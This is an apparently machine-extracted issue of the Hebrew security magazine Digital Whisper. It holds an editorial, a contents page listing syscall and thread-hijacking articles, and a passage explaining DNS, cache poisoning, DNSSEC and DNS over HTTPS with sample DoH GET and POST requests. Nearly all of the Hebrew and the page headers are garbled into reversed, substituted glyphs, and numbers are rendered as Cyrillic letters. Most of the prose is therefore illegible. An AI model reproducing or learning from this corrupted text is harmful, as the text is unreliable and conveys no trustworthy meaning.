 ˟  ˣˮ˪˟˧˵˷ ˫˧˩˶˰ˢ ˪˰ ˨ˬ˸˯ˢ˪ ˞˪˞ ,˭ˣ˷˞˶ˢ ˱˧˰˯˟ ˢ˸˧˞ ˣˮˡˡˣˬ˸ˢ˷ ˢ˧ˠˣ˯ˢˬ ˠˣ˞ˡ˪ ˫˧˩˧˶˴-

DŜǘ¢ƘǊŜŀŘ/ƻƴǘŜȄǘ . 

ˢ ˨ˣ˸ˬ ˰˦˵-wht  ˸ ˞ ˭˩ˡ˰ˬ ˶˷˞ ǊǎǇ  x-ǊƛǇ  ˟-/ƻƴǘŜȄǘ   :ˣˮ˵˸˰ˢ˷ 
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  ˸˞ ˣˮ˵˸˰ˢ˷ ˶˥˞˪-s/ƻƴǘŜȄǘ    ˧ ˶ˣ˵ˬˢ  ˢ ˪˷-¢ƘǊŜŀŘ    ˭˩ˡ˰˪ ˫˧˩˧˶˴ ˣˮ˧˧ˢ ˶˷˞ ˫˧˶ˠˣ˞ˢ ˸˞ ˣˮ˩ˡ˰ˣ

 s  ˰ˣ˴˧˟˟ ˨˧˷ˬˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞-wht   ˪  ˞˶˵ˮ ˣˮ˥ˮ˞ ˭ˣ˶˥˞ˢ ˣ˵˪˥˟ .ˣˮ˪˷-bǘ/ƻƴǘƛƴǳŜ   ˪  ˰˧˟˴ˬ ˫˰-

/ƻƴǘŜȄǘ   ˨˶˰ .ˣˮ˵˸˰ˢ˷ǊŀȄ  ˢ ˸˞˧˶˵ ˸˰˟-ǎȅǎŎŀƭƭ  ˪-bǘ/ƻƴǘƛƴǳŜ   ˞ˣˢлȄпо : 

 

  ˪˩ ˪˰ ˦˪˸˷ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˣ˪˞ ˸ˣ˪ˣ˰˲ ˰ˣ˴˧˟ ˧ˡ˧ ˪˰¢ƘǊŜŀŘ    ˣ˶˧ˤ˥ˢ˪ˣ ˫˧ˮˣ˷ˢ ˫˧˩˧˪ˢ˸˟ ˢ˴˶ˮ˷

ˢ ˧ˣˮ˧˷ ˞˪˪ ˸˧˶ˣ˵ˬˢ ˣ˸˴˧˶˪-/ƻƴǘŜȄǘ    .ˣ˪˷˶˟ˡˢ  ˢ ˸ˣ˟˧˴˧ ˸˶˧ˬ˷ ˪˰ ˣˮ˪ ˥˧˦˟ˬ-¢ƘǊŜŀŘ    ˪˰ ˫ˠ ˨˩˟ˣ

  ˞˪ ˢ˴˵ˢ ˷ˬ˸˷ˬ˷ ˣˮ˪ ˥˧˦˟ˬ ˣˤ ˢ˦˧˷˟ ˷ˣˬ˧˷ˢ ,˭˩ ˣˬ˩ .˵˶ˤˣˬˢ ˨˧˪ˢ˸ˢ ˸ˣ˟˧˴˧ ˸˶˧ˬ˷  ˧ˣˮ˧˷˟ ˭˧˥˟˧

 .˸˩˶˰ˬ˟ ˣˢ˷˪˩ 
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ˢ ˸˶ˤ˥ˢ-/ƻƴǘŜȄǘ ˧˶ˣ˵ˬˢ  ˪˷ s-¢ƘǊŜŀŘ  :˨˧˪ˢ˸ˢ ˸˴˧˶ ˨˷ˬˢˣ 
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http://www.digitalwhisper.co.il/


 
 

{ǘŀōƭŜ wƛǘŜ ƻŦ tŀǎǎŀƎŜ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  см 
 

 ˫ ˣ˩˧˯ 

  ˡˣ˵ ˸˵˶ˤˢ ˨˶ˣ˴˪ ˢˮ˩ˣ˸ ˸˟˧˸˩ ˪˷ ˫˧ˮˣ˷ˢ ˫˧˟˪˷ˢ ˫˰ ˣˮˡˡˣˬ˸ˢ ˢˤ ˶ˬ˞ˬ˟  ,˭˩ ˣˬ˩ .˵˥ˣ˶ˬ ˨˧˪ˢ˸˟

 :˫˩˪˷ ˸ˣˮ˩ˣ˸˟ ˫ˠ ˫˷˧˧˪ ˣ˪˩ˣ˸ ˭˸ˣ˞˷ ˸ˣ˷ˡ˥ ˸ˣ˦˧˷ ˧˸˷ ˣˮˡˬ˪ 

1. Rite of Passage  -    ˨˶ˡ ˸˩˶˰ˬˢ ˸ˣ˧˶˲˯ ˪˷ ˸ˣ˧˴˵ˮˣ˲ ˪˰ ˢ˴˵ˢ ˸ˮˠˢ ˸ˣ˩˶˰ˬ ˪˷ ˫˧˵ˣˢ ˱˵˰ˬ

 ˸ˣ˞˧˶˵syscall   .˸ˣ˶˧˷˧ 

2.  ˨˧˪ˢ˸ˢ ˸ˣ˟˧˴˧ ˸˶˧ˬ˷-  ˢ ˸˶ˤ˥ˢ-Thread   ˰ˣ˴˧˟ ˶˥˞˪ ˸˧˶ˣ˵ˬˢ ˣ˸˴˧˶˪ROP  ˢ˵˧ˮ˩˦˟ ˷ˣˬ˧˷ ˧"˰ .

  .ˢ˴˵ˢ ˷ˬ˸˷ˬ ˪˴˞ "ˢ˴˧˶˲"˪ ˷˷˥ ˢ˪˰˧ ˞˪ ˫ˠ ˨˩˟ˣ ˯ˣ˶˵˧ ˞˪ ˨˧˪ˢ˸ˢ ˧˩ ˫˧˥ˣ˦˟ ˸ˣ˧ˢ˪ ˣ˪˩ˣ˸ ˣˤ   

˪ ˣˮ˸ˣ˞ ˞˧˟˧ ˸ˣ˵˧ˮ˩˦ˢ ˧˸˷ ˪˷ ˶ˣ˟˧˥-{ǘŀōƭŜ wƛǘŜ ƻŦ tŀǎǎŀƎŜ J 

 ˧ˡ˩ ˨ˣ˸ ˧˪ ˣ˪˰˷ ˸ˣ˪˞˷˟ ˢ˶ˤ˰ˢ ˪˰ ˶˧˞˧ ˶ˬˣ˰˪ ˸ˡ˥ˣ˧ˬ ˢˡˣ˸ .˫˧˟ˣ˷˥ ˫˧˷ˠˡ ˭˸ˬ˟ˣ ˶ˬ˞ˬˢ ˸˟˧˸˩ 

 ˸ ˣ˶˰ˢ ˷˧ˣ ˢˡ˧ˬ˟κ  ˪˧˧ˬ˟ ˧˪˞ ˸ˣˮ˲˪ ˫˧ˮˬˤˣˬ ˱˯ˣˮ ˶˟ˡ ˪˩ ˣ˞ ˸ˣ˶˞ˢŎƻƳΦƎƳŀƛƭϪȅŀƴƛǾмлΦƎŀƭ 

 

   

 s ˧˲˶ˠˣ˧˪˟˧˟ 

 

 :˶ˬ˞ˬ˟ ˸ˠ˴ˣˬˢ ˢˮ˩ˣ˸ˢ 

https://github.com/galyaniv/Stable-Rite-Of-Passage 

 

  :(ˣˬˡ ˪˪ˣ˩) ˞˷ˣˮ˟ ˶˧˞˧ ˶ˬˣ˰ ˪˷ ˢ˞˴˶ˢˢ 

https://www .youtube.com/watch?v=jzuPqvfogRQ&list=PLkNlAwTF5yEuqN_X4f58qPB2d8iJ0Mm

uz&index=3 

 

OffensiveCon18 - Joe Bialek - The Evolution of CFI Attacks and Defenses: 

https://www .youtube.com/watch?v=oOqpl-2rMTw 
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 5b{ hǾŜǊ I¢¢tό{ύ π ˠ˶ˡ˷˪ ˭ˬˤ 

˸˞ˬ  ˧ ˶ˣ˵˷ ˧˦ˣˬ 

 

 s ˬˡ˵ˢ 

  ˪˰ ˣ˪ ˦˪˸˷ˢ˷ ˶˥˞˪ ˶˲ˣ˩ ˷˶ˣˡ˷ ˱˵ˣ˸ˬ ˪˧˧ˬ ˪˟˧˵˷ ˶˥˞˪ ˸ˣ˴˰˧˧˸ˢ˪ ˧˪˞ ˢˮ˲ ˟ˣ˦ ˶˟˥ ,ˢˮˣ˶˥˞˪

  ˸˷˪ˣ˥ ˸˶ˤ˰˟ ˧˸˧˟ˢ ˟˸ˮˢ1day  ˣ˰˴˧˟ ,Poisoning DNS  ˡ˧˶ˣˢ˪ ˣ˪ ˣˬ˶ˠ ,backdoor,    ˫˧˴˟˵ ˣ˪ ˣ˟ˮˠˣ

 .˟˷˥ˬˢˬ 

  ˶˵ˢ ˦ˮ˶˦ˮ˧˞˪ ˥ˣ˸˲ ˸ˣ˧ˢ˪ ˣˮ˪˷ ˧˸˧˟ˢ ˟˸ˮ˪ ˶ˣ˯˞˷ ˣˮ˪ˣ˩˪ ˢ˶˧˩ˤˬ˷ ,˪˧ˠ˶ˢˬ ˸˟˩˶ˣˬ ˢ˲˵˸ˬ˪ ˶˟˰ˬ

 s  ˪˷ ˢ˶ˢ˴ˢ˟ ˶˩ˤ˧ˢ˪ ˣˮ˪ˣ˩˪ ˢ˟ˣ˦ ˢ˟˧˯ ˢ˲ ˷˧ ,˪˲˞ˢˣ-NSA  -˟нм   ˪ ˰ ˶˟ˡˬ ˭ˣˠ˶˞ˢ ˢ˟ ,˶˞ˣˮ˧˪DNS 

Over HTTP   .˫˧ˮˣˠ˶˞˟ ˢˮˣ˩ˮ ˢ˶ˣ˴˟ ˣ˸ˣ˞ ˰˧ˬ˦ˢ˪ ˧˞ˡ˩ ˨˧˞ ˪˰ˣ 

 ˢˤ ˢˬ ˪˰ ˢ˶˴˵˟ ˶ˣ˟˰ˮ ˢˤ ˶ˬ˞ˬ˟DNS  ˢˤ ˢˬ ,DNS Over HTTP   .˪ˣ˵ˣ˦ˣ˶˲˟ ˸ˣˮˣ˶˯˥ˣ ˸ˣˮˣ˶˸˧ˣ 

 

DNS -  s ˧˶ˣ˦˯˧ˢˢ ˧˶˲˯˪ ˢ˴˴ˢ 

  ˸ˮ˷˟мфуо  ˢ ˪ˣ˵ˣ˦ˣ˶˲ ˞˴ˬˣˢ-DNS   ˣ˸ˣ˞ ˨ˣ˲ˢ˪ˣ ,˦ˮ˶˦ˮ˧˞˟ ˢ˷˧˪ˠˢ ˪˰ ˪˵ˢ˪ ˸ˣˮˣ˧˯˧ˮ ˶˥˞˪ ˢˮˣ˷˞˶˪

 .˷˧ˠˮ˪ 

  ˸ˣ˟ˣ˸˩˪ ,˞˧˶˵ ˦˯˵˦˩ ˸ˣˠ˴ˣ˧ˬˢ ˫˧ˮ˧˧ˬˣˡ ˪˷ ˸ˣ˟ˣ˸˩ ˭˧˟ ˢ˶ˬˢ ˵˲˯ˬ ˪ˣ˵ˣ˦ˣ˶˲ˢIP  .˭ˣˠ˶˞˪ ˸ˣ˩˧˧˷ˢ 

ˢ ˸ˣˮ˷˟-ул-фл    ˸ˬˡˣ˵ˢ ˢ˞ˬˢ ˪˷  ˸˥˦˟˞ˢ  ˞˪ ˰ˡ˧ˬˢ˸˧ˢ    ˧˞˧˴ˬˬˣ ˧˥˸˲ˬ ˪˷ ˸ˣ˧ˣ˲˧ˡ˰ˢ ˶ˡ˯˟

 ˭ ˩˪ˣ ,˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ  .˸ˣ˶˥˞ˣ ˣ˪˞˩ ˸ˣ˷˪ˣ˥ˬ ˪˟ˣ˯ ˫˧˶˥˞ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˢ˟˶ˢ ˣˬ˩ ,˪ˣ˵ˣ˦ˣ˶˲ˢ 

  "ˢ˥˦˟˞ ˭ˣ˩ˡ˰" ˪˟˧˵ ˞˪ ˫˧ˮ˷ ˶˲˯ˬ ˧ˮ˲˪ ˡ˰˷ ˫˧ˡ˧˥˧ˢ ˫˧˧ˤ˩˶ˬˢ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ ˡ˥˞ ˣˮ˧ˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ

 .˫˧˲˵ˣ˸ ˶ˣ˟˰ ˧ˤ˩˶ˬ ˢ˲˧˵˸ ˥˦˷ˬ ˢˣˣˢˬ ˫ˣ˧ˢ ˡ˰ ˭˩˪ˣ 
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5b{   ˢ˶˴˵˟ 

  ˢˤ ˢˬ ˣˮ˟ˢ ˤ˞DNS?ˡ˟ˣ˰ ˞ˣˢ ˨˧˞ ˪˟˞ ,    ˧˦ˮˣˣ˪˶˷ ˢˬ˪ ˯ˮ˩ˮ ˭˩˪ˣ ,˧ˡˬ˪ ˟˥˶ ˪ˣ˵ˣ˦ˣ˶˲ ˣˮ˧ˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ

˟ ˶˟˧'˴˷˪ ˪˧˶˧˵ ˧ˡ˧ ˪˰ ˟˸˩ˮ˷ ˶ˬ˞ˬˢ ˸˞ ˞ˣ˶˵˪ ˫ˣ˥˟ ˳˧˪ˬˬ ˧ˮ˞ ˨˞ ,ˡ˟˪˟ ˶ˬ˞ˬˢ ˞˷ˣˮ˪-нлмм .  

ˢ ˪ˣ˵ˣ˦ˣ˶˲-DNS ˸˶˷ ˪ˣ˵ˣ˦˶˲ ˣˮ˧ˢ-  ˪˷ ˢ˶ˬˢ ˷˵˟ˬ ˥ˣ˵˪ˢ ˶˷˞˩ ,˥ˣ˵˪URL  s  ˸˟ˣ˸˩ ˪˞-IP  .ˣ˪˷ 

  ˦˶ˣ˲˟ ˷ˬ˸˷ˬ ˪ˣ˵ˣ˦ˣ˶˲ˢudp  ро  ˣ˞ ,tcp   ˬ  ˢ˪ˣˡˠ ˢ˦˵˲ˢˣ ˢˡ˧ˬ˟-рмн  ˨˪ˢˬ˟ ˣ˞ ,˫˧˸˟zone 

transfer . 

˸ˣ˧˶˷˲˞ ˢ˪ˣ˰˲ ˧˩˶ˡ ˧˸˷ ˪ˣ˵ˣ˦ˣ˶˲˪ : .˸˧˟˧˦˶˦˧˞ ˢ˸˪˧˞˷ˣ ˸˧˟˧˯˶ˣ˵˶ ˢ˸˪˧˞˷ 

 :˸˧˟˧˯˶ˣ˵˶ ˢ˸˪˧˞˷ 

˸˪˧˞˷˟  ˢ x ˤ s  ˸˟ˣ˸˩ ˸˞ ˸˶˷ˢˬ ˷˵˟ˬ ˥ˣ˵˪ˢ ,-IP   s  ˸˶˷˪ˣ ˢˡ˧ˬ˟ˣ ,˷˵ˣ˟ˬˢ ˸˶˷ˢ ˪˷-DNS    ˭˧˞

ˢ ˸˟ˣ˸˩ ˸˞-IP    ˢ˧ˣ˷˰ ˶˷˞ ,ˢ˧˩˶˶˧ˢ˟ ˣ˧˪˰ˬ ˫˧˞˴ˬˮˢ ˫˧˸˶˷˪ ˣˬ˴˰˟ ˢˮ˲˧ ˞ˣˢ ,˷˵ˣ˟ˬˢ ˸˶˷ˢ ˪˷

 .˷˶ˡˮˢ ˸˶˷ˢ ˪˷ ˢˬˣ˷˶ˢ ˸˞ ˫ˢ˪ ˸ˣ˧ˢ˪ 

  ˸˞ ˷˵˟˪ ˨˧˶˴ ˵˶ ˞ˣˢ ,˷ˬ˸˷ˬ˪ ˡˣ˞ˬ ˢ˥ˣˮ ˸˧˟˧˯˶ˣ˵˶ ˢ˸˪˧˞˷  ,˱˯ˣˮ ˶˟ˡ ˫ˣ˷ ˸ˣ˷˰˪ ˞˪ˣ ˸˟ˣ˸˩ˢ

.˪˩˪ ˠ˞ˡ˧ ˶˟˩ ˣ˪˷ ˸˶˷ˢ    ˢˡ˧ˬ˟ ,˸˧˲ˣ˯ˢ ˢ˟ˣ˷˸ˢ ˸˞ ˧˪ ˶˧ˤ˥ˬ˷ ˢˤ ˞ˣˢ ˸˶˷ˢ ˫˞ ,˨˩˪ ˱˯ˣˮ˟

  ˪˞˷˸˪ ˧˪˟ˬ ˢ˸ˣ˞ ˢ˪ ˶˧ˤ˥ˢ˪ ˪˩ˣ˧ ˞ˣˢ ,˸˟ˣ˸˩ˢ ˢ˸ˣ˞ ˸˞ ˷˵˟˧ ˸˧ˬˣ˵ˬˢ ˸˷˶ˢ ˢ˸ˣ˞˟ ˶˥˞ ˟˷˥ˬˣ

.˫˧˶˥˞ ˫˧˸˶˷ ˟ˣ˷  .˭˟ˣˬ˩ ˭ˣ˩˧˯ˢ ˫ˠ ˰˧ˠˬ ,˸ˣ˥ˣˮˢ ˫˰ ˡ˥˧˟ ˨˞  ˢ ˸˶˷ˣ ˢˡ˧ˬ˟ ,˸˧˟˧˯˶ˣ˵˶ ˢ˸˪˧˞˷˟-

DNS    ˣˬ˩ ˸ˣˮˣ˷ ˸ˣ˲˵˸ˬ˪ ˪ˣ˲˧DNS cache poisoning s  ˸˞ ˶ˣˬ˷˧ ˞ˣˢ ,-DNS Record    ˭ˣˬ˦ˬ˟ ˰ˣˠˮˢ

 .ˣ˧˸˥˸ ˫˧˷ˬ˸˷ˬˢ ˪˩ ˪˰ ˰˧˲˷˧ˣ ,ˣ˪˷ 

 

 :˸˧˟˧˦˶˦˧˞ ˢ˸˪˧˞˷ 

  ˢ˸˪˧˞˷˟ x ˤˢ ˸˟ˣ˸˩ ˸˞ ˷˵˟ˬ ˥ˣ˵˪ˢ ,-IP   s  ˸˶˷˪ˣ ˢˡ˧ˬ˟ ,˷˵ˣ˟ˬˢ ˸˶˷ˢ ˪˷-DNS   ˸ ˟ˣ˸˩ ˸˞ ˭˧˞  

-sIP    ˸˶˷˪ ˥ˣ˵˪ˢ ˸˞ ˢˮ˲˧ ˞ˣˢ ,˷˵ˣ˟ˬˢ ˸˶˷ˢ ˪˷DNS    ˸˞ ˸ˣ˧ˢ˪ ˧ˣ˷˰ ˣ˪˷ ,ˢ˧˩˶˶˧ˢ˟ ˶˥˞

 .˸˷˶ˡˮˢ ˢˬˣ˷˶ˢ 

ˢ ˸˶˷˪ ˫˧˶˷˲˞ˬ ˣˮ˥ˮ˞ ˶˷˞˩˷ ˭ˣˣ˧˩ˬ ,˸˧˟˧˯˶ˣ˵˶ˢ ˢ˷˧ˠˢ ˸˷ˬˣˬˬ ,˫˧˶˵ˬˢ ˟ˣ˶˟-DNS    ˧ˬˣ˵ˬˢ

 ˵ ˟ ˫˧˶˸˞˪ ˸˷ˠ˪ ˸˷˶˟ ˫˧˟˷˥ˬˢ ˶˞˷˪ "˫˧˶ˤˣ˰" ˣˮ˥ˮ˞ ,˭ˣˬ˦ˬ˟ ˸ˣˬˣ˷˶ˢ ˸˞ ˶ˣˬ˷˪ ˣˮ˪˷ .˶˸ˣ˧ ˸ˣ˪ 

˪ ˪ˣ˲˧˸ ˢˡˬ˰ˣ ˢˡ˧ˬ˟-DNS cache poisoning    ˭ˣˣ˧˩ˬ ,˨˩ˬ ˰˲˷ˣ˸˷ ˢˡ˧˥˧ˢ ˞˧ˢ ,˸˧˟˧˦˶˦˧˞ ˢ˸˪˧˞˷˟

ˢ ˸˶˷˷-DNS  .ˣˬ˴˰˟ ˢ˟ˣ˷˸ˢ ˸˞ ˪˟˧˵ ˞˪ ˢ˪˷ ˧ˬˣ˵ˬˢ 
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 :˸˧˟˧˯˶ˣ˵˶ ˞˸˪˧˞˷ ˪˷ ˢ˸˪ˣ˰˲ ˭˲ˣ˞ ˪˰ ˢˬ˧˶ˤ ˫˧˷˶˸ ˭˪ˢ˪ 

 
 ˸˞ ˷˲˥ˬˢ ,˟ˣ˟ ˪˷ ˸˧˟˧˯˶ˣ˵˶ ˢ˸˪˧˞˷ ˷˧˥ˬˬˢ ˶ˣ˧˞] [˯˧˪˞ ˪˷ ˶˸˞ˢ 

 
?ˢ˥˦˟˞ˢ ˧ˮˣˮˠˮˬ ˢ˲˧˞ ,˰ˠ˶ 

ˢ ˸ˣˮ˷˟ ,ˣˮ˶ˬ˞˷ ˣˬ˩ ˤ˞-ул    ˭˩˪ˣ ,˫˧˥˸˲ˬˢ ˪˷ ˸ˣ˧ˣ˲˧ˡ˰ˢ ˶ˡ˯ ˷˞˶˟ ˢ˸˧˧ˢ ˞˪ ˰ˡ˧ˬˢ ˸˥˦˟˞DNS  

.˧˸˧ˬ˞ ˢ˥˦˟˞ ˭ˣˮˠˮˬ ˫ˣ˷ ˪˟˧˵ ˞˪ ˸˧˶ˣ˵ˬˢ ˣ˸˯˶ˠ˟   ˸ˮ˷˟нллр   s  ˫˯˶˲-IETF    ˪˷ ˭ˣ˷˞˶ˢ ˭˵˸ˢ ˸˞

DNSSEC ˸˞ ˞ˡˣˣ˪ ˡ˰ˣˮ˷ ˢ˥˦˟˞ ˭ˣˮˠˮˬ , s  ˸˶˷ˬ ˸ˣ˶ˤˣ˥˷ ˸ˣ˟ˣ˷˸ˢ ˪˷ ˭˸ˣˮ˧˵˸-DNS. 

ˢ ˭ˣˮˠˮˬ-DNSSEC    ˸˶˷ ˪˩˷ ˨˩˪ ˠ˞ˣˡ ˞˪˞ ,˶˟ˣ˰˷ ˰ˡ˧ˬˢ ˸˞ ˭˧˲˴ˬ ˞˪DNS    ,ˣ˪˷ ˢ˟ˣ˷˸ˢ ˸˞ ˫ˣ˸˥˧

  ˸˶˷ˢˬ ˸ˬ˞˟ ˢ˰˧ˠˬ ˢ˟ˣ˷˸ˢ˷ ˸ˬ˞˪ ˢ˧ˢ˧ ˭˸˧ˮ ,˫˧˸˶˷˪ ˫˧˩˧˧˷ˢ ˫˧˧˦˶˲ˣ ˫˧˧˶ˣ˟˧˴ ˸ˣ˥˸˲ˬ ˸˶ˤ˰˟ˣ

 .˧ˣ˴˶ˢ 

http://www.digitalwhisper.co.il/


 
 

5b{ hǾŜǊ I¢¢tό{ύ -   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  ср 
 

 ˪ ˷ˮ˷ ˰ˡ˧ˬˢ ˸˞ ˭˧˲˴ˢ˪ ˠ˞ˣˡ ˞˪ ˭ˣˮˠˮˬˢ .ˣ˸ˣˮ˧ˬ˞ ˸˞ ˞ˡˣˣ˪ ˸ˮˬ ˪˰ ˣ˸ˣ˞ ˫ˣ˸˥˪ ˵˶ ˞˪˞ ,˥ 

ˢ ˸˞ ˞ˣ˶˵˪ ˫ˣ˥˟ ˳˧˪ˬˬ ˧ˮ˞ ˨˞ ,ˢˤ ˶ˬ˞ˬ˟ ˨˩˪ ˶˟˰ˬ ˭˵˸ˢ ˧˵ˬ˰˪ ˯ˮ˩ˮ ˞˪-RFC    ˸˪ˣ˰˲ ˪˰ ˶˞˸ˬˢ

.˨˩˟ ˭˧˧ˮˣ˰ˬ˷ ˧ˬ˪ ,ˢ˟˥˶ˢ˟ ˭ˣˮˠˮˬˢ    ˪˷ ˢ˵˧˦˯˧˦˦˯APNIC  ,ˢ˧˯˞ˣ ˢ˧ˮ˞˧˵ˣ˞ ˪˷ ˦ˮ˶˦ˮ˧˞ˢ ˫˷˶ ,

  ˸ˮ˷˟ ˫ˣ˧ˢ ˫ˠ ˧˩ ˸ˮ˧˧˴ˬнлнлˢ ˭˵˸ ,-DNSSEC  ˟  ˵˶ ˷ˬˣˬˬ-нп.р҈ ˢ ˧˸˶˷ ˪˪˩ˬ-DNS  .˫˪ˣ˰˟ 

ˢ ˫ˣ˵ˬ˟ ˸ˡˬˣ˰ ,ˢ˞ˣˣ˷ˢˢ ˨˶ˣ˴˪ ,˪˞˶˷˧-тм  ˪˷ ˷ˣˬ˧˷ ˧ˤˣ˥˞ ˫˰по.т҈  .˭˵˸˟ ˷ˣˬ˧˷ 

 ˸ˣ˧˶˵˧˰ ˸ˣ˧˰˟ ˧˸˷ ˣˮ˧ˮ˲˟ ˸ˣˡˬˣ˰ ˭˧˧ˡ˰ ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ ,˨˩ ˫˞-    ˢ˧ˮ˷ˢˣ ,˰ˡ˧ˬˢ ˶ˣ˵ˬ ˸ˣˬ˧˞ ˞˧ˢ ˸˥˞ˢ

˩ ˶˟ˣ˰ ˰ˡ˧ˬˢ˷ ˢˡ˟ˣ˰ˢ ˞˧ˢ-plain text : 

 

ˢ ˨ˣ˸ˬ] s ˵˧˦˯˧˦˦˯  ˪˷Apnic ˶˞ˣ˶˟˲ ,нлнл [ 

  

http://www.digitalwhisper.co.il/
https://stats.labs.apnic.net/dnssec


 
 

5b{ hǾŜǊ I¢¢tό{ύ -   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  сс 
 

5b{ hǾŜǊ I¢¢tό{ύ 

  ˫˴˰˟ ˢˤ ˢˬ ˤ˞DNS Over HTTP  ˣ˞)DoH ?( 

  ˪˷ ˸ˣˮˣ˶˸˧ˢ ˪˩ ˸˥˸ ˟ˣˢ˞ˢˣ ˶˩ˣˬˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˢ˷ˡ˥ ˢ˰ˬ˦ˢ˟ ˶˟ˣˡˬHTTP.   ˸ˮ˷˟нлму  -sIETF  

  ˸˞ ˫˯˶˲упуп RFC  .˸ˣˮˣ˶˯˥ ˭˟ˣˬ˩ˣ ,˸ˣˮˣ˶˸˧ ,˷ˡ˥ˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˢ˪ˣ˰˲ˢ ˭˲ˣ˞ ˸˞ ˶˞˸ˬˢ 

 

 ˫˸˯ ˢˤ ,ˢˬ ˤ˞Tunnel ? 

.˞˪˷ ,˸ˬ˞ˢ DoH  ˪˷ ˢ˪ˣ˰ˬˢ ˭ˣˮˠˮˬˢˣ ˢ˧˩˶˶˧ˢˢ ˪˩ ˸˞ ˸˥˵˪ ˣˮ˪ ˶˷˲˞ˬDNS  ˟ˣ˪˧˷˟ ˣ˟ ˷ˬ˸˷ˢ˪ˣ ,

 ˬ  ˣˮ˧˪˰ ˫˧˟ˣˢ˞ˢ ˫˧˶'˴˧˲ˢ ˪˩ ˪˷-HTTP  ˣˬ˩ ,  Redirect  ,Compression  ,Caching  -xAuthentication .  

 ˟  ˷ˬ˸˷ˢ˪ ˳˪ˬˣˬ-DoH    ˧˟ˠ ˪˰HTTP/2  ˭ˣˠ˩ ,ˣ˪˷ ˫˧ˮˣ˷ˢ ˫˧˶'˴˧˲ˢ ˸˞ ˞˪ˬ ˭˲ˣ˞˟ ˪˴ˮ˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰ ,

HTTP Pipelining   .˥ˣˣ˦ˢ ˪˰ ˶˟ˣ˰ˢ ˰ˡ˧ˬˢ ˪˷ ˢ˯˧˥ˡˣ 

˟ ˷ˬ˸˷ˮˣ ˢˡ˧ˬ˟-HTTP/1.1 ,    ˷˧ ˭˟ˣˬ˩ ˢˤ˪˷ ,˫˧˰ˣ˴˧˟ˣ ˸ˣ˶˧ˢˬ ˸ˮ˧˥˟ˬ ˣˮ˧˪˰ ˰˧˲˷ˢ˪ ˪ˣ˪˰ ˶˟ˡˢ

 .˪ˣ˵ˣ˦ˣ˶˲˟ ˢ˟˶ ˸ˣ˟˧˷˥ 

 

˸˷˵˟ DoH 

  ˸˷˵˟ ˥ˣ˪˷˪ ˭˸˧ˮDoH    ˸ˣˡˣ˸ˬ˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰GET   x-POST.    ˸˷˵˟˟ ˷ˬ˸˷ˮ ˶˷˞˩GET  ˸˞ ˶˧˟˰ˮ ,

  ˶˦ˬ˶˲˟ ˷ˬ˸˷ˮ ˞˪˞ ,ˢ˷˵˟ˢ ˱ˣˠ ˧˪˟ ˢ˷˵˟ˢDNS˟ ˡˡˣ˵ˬ ˷˵ˣ˟ˬˢ ˭˧˧ˬˣˡˢ ˸˞ ˡ˧ˬ˴ˮ ˣ˧˪˞ ,-

base64url . 

 ˸ˣ˷˵˟ ˧˸˷DoH   ˟  ˸ˣ˷˵˟ ˪˟˵ˬˢ ˸˶˷ ˶ˣ˟˰-url  :˞˟ˢ 

https:// dnsserver.example.com/dns-query 

 ˸˷˵˟DoH  ˸˶ˤ˰˟GET   ˶ˣ˟˰www.example.com  :˨˩ ˢ˞˶˸ 

: method  = GET 

:scheme  = https  

:authority  = dnsserver.example.net  

:path  = /dns - query?dns=AAABAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB 

accept = application/dns - message  

ˣ ˢ˯˧˥ˡ˟ ˷ˣˬ˧˷ ˸ˣ˞˶˪ ˭˸˧ˮ-padding  ˪˷HTTP/2 . 

  

http://www.digitalwhisper.co.il/
https://dnsserver.example.com/dns-query


 
 

5b{ hǾŜǊ I¢¢tό{ύ -   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  ст 
 

 ˸˷˵˟DoH   ˸˶ˤ˰˟POST  :ˢ˞˟ˢ ˢ˶ˣ˴˟ ˢ˞˶˸ ˭˧˧ˬˣˡˢ ˣ˸ˣ˞ ˶ˣ˟˰ 

:method  = POST 

:scheme  = https  

:authority  = dnsserver.example.net  

:path  = /dns - query  

accept  = application/dns - message  

content - type  = application/dns - message  

content - length  = 33 

 

<33 bytes represented by the following hex encoding > 

00 00 01 00 00 01 00 00  00 00 00 00 03 77 77 77  

07 65 78 61 6d 70 6c 65  03 63 6f 6d 00 00 01 00  

01 

  ˸˷˵˟ ˪˷ ˢ˶˵ˬ˟POST  ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ ,оо  ˟ ˢ˷˵˟ˢ ˪˷ ˫˧˸˟ˢhex .˥ˣˣ˦ˢ ˪˰ ˣ˶˟˰˷ ˶˥˞˪ ,    ˧ˮ˷˟

  ˷˧ ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ ,˫˧˶˵ˬˢ˟ ˷ˣˬ˧˷-content-type  ˪˷application/dns-message .   ˧˞ˣ ,ˢ˟ˣ˥ ˣˮ˧ˢ ˶˟ˡˢ

 .˷ˣˬ˧˷ˢ ˸˰˟ ˣ˧˪˰ ˶˸ˣˣ˪ ˶˷˲˞ 

